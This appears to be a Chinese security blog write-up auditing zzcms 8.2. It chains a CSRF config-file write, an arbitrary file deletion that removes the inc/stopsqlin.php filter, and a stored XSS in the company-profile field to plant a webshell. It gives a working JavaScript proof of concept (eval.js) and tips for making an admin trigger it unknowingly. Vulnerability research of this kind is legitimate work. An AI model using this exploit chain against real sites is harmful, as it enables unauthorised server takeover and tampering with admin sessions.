前言
zzcms8.2是一款比较小众的cms,该cms存在漏洞较多,有师傅写过该cms相关审计文章,写这篇文章的目的仅仅是分享自己审计该cms时想到的一个另类getshell思路。如有雷同,纯属巧合。
总体思路
本次getshell主要是通过后台写入配置文件功能写入一句话getshell。zzcms使用了全局过滤,所以要想成功写入一句话,最主要的问题是搞定这个过滤。这里采用的方式是利用任意文件删除漏洞删除全局过滤脚本,再利用csrf及存储型xss写入完整的一句话。
漏洞分析
后台配置文件写入csrf
文件位置:/admin/qqlogin_set.php
先读取配置文件/3/qq_connect2.0/API/comm/inc.php,然后用POST提交的内容替换掉配置文件中的值。这段代码除了没有csrf校验外本身没有太大问题,因为全局过滤,用户不能提交正常的尖括号。接下就要删除全局过滤脚本,使我们提交的尖括号生效。
payload:
任意文件删除
这个漏洞之前有师傅讲过了,我就简单提一下吧。
漏洞文件:/user/adv.php
判断$oldimg和$img不相同则删除oldimg文件,参数未进行任何过滤,可提删除任意文件。此处我们需要删除全局过滤的脚本inc/stopsqlin.php
payload:
存储型xss
由于使用了全局过滤,POST,GET,COOKIE的参数都会被实体化,但一些特殊情况需要未实体化的数据,所以一般这种cms都会写一个单独的函数用于还原被实体化的字符,我们可以通过搜索该函数来快速发现可能存在xss的位置。zzcms的还原函数在 /inc/function.php 中
可以看到,要还原实体化字符需要传入true参数,通过搜索定位到了如下代码段。
$content满足条件,追踪一下content的来源。在包含的文件top.php中找到了content定义的地方,来自zzcms_user表中的content字段,该字段存储的是用户的公司简介,是可控的,因此此处存在存储型xss。
有一点需要注意,在用户中心直接修改公司简介是不能成功的,因为编辑器会进行一次html实体化操作,全局过滤又执行了一次实体化,输出页面只有一次反实体化操作。所以需要截包把实体化的字符改回来。
漏洞利用
整体思路有了,单个漏洞的payload也有了,剩下的就是将删除文件和写配置文件的请求写到js中,再利用xss getshell了,放上自己的poc:eval.js
function xml1(){
var data = "adv=45645&advlink=%2Fzt%2Fshow.php%3Fid%3D1&company=%E6%96%B9%E6%B3%95&oldimg=inc/stopsqlin.php&img=1.txt&Submit22=%E4%BF%AE+%E6%94%B9"
xml = new XMLHttpRequest();
xml.open("POST","http://127.0.0.1:8081/user/adv.php?action=modify",true);
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send(data);}
function xml2(){
var data = "appid=2<?php phpinfo();?>&appkey=5e96c17051557039eb55ed190489a05b&callback=http%3A%2F%2Fdemo.zzcms.net%2F3%2Fqq_connect2.0%2Fcallback.php&cmdSave422=%E4%BF%9D%E5%AD%98%E8%AE%BE%E7%BD%AE&action=saveconfig"
xml = new XMLHttpRequest();
xml.open("POST","http://127.0.0.1:8081/admin/qqlogin_set.php?",true);
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send(data);}
xml1();
setTimeout("xml2()",3000);
构造好两个异步请求,分别发送即可。这里有两个点要解释一下
一是任意文件删除不需要管理员权限,为什么要放在js中让管理员去删除?那是因为如果inc/stopsqlin.php被删除,用户将无法正常登录,如果我们提前删了管理员就登不上去了,所以删除时要保证管理员已经登录。在实际运用中有另一个问题,如果非管理员看了自己的资料,也会触发请求,就会把文件删除,使管理员无法登陆。可以在js获取用户cookie,确认是否为管理员,不是则不发送请求。
二是最后一句话中加入了3s的延时,目的是保证第二请求发出时,文件已经被删除,如果两个请求同时发送可能会失败。
js写好后放到自己服务器上,xss调用即可,然后就是坐等管理员帮你写shell了,最后访问配置文件/3/qq_connect2.0/API/comm/inc.php
后话
这个cms的代码审计难度并不大,各种漏洞一大堆,审计的时候大多数时间是花在如何组合getshell上。利用任意文件删除的常规思路是删除安装锁,然后导致重装,突然想到了这种任意文件删除的另类利用方法,所以写了这篇文章,由于本人水平有限,文中如有错误或不妥的地方还请师傅们指点。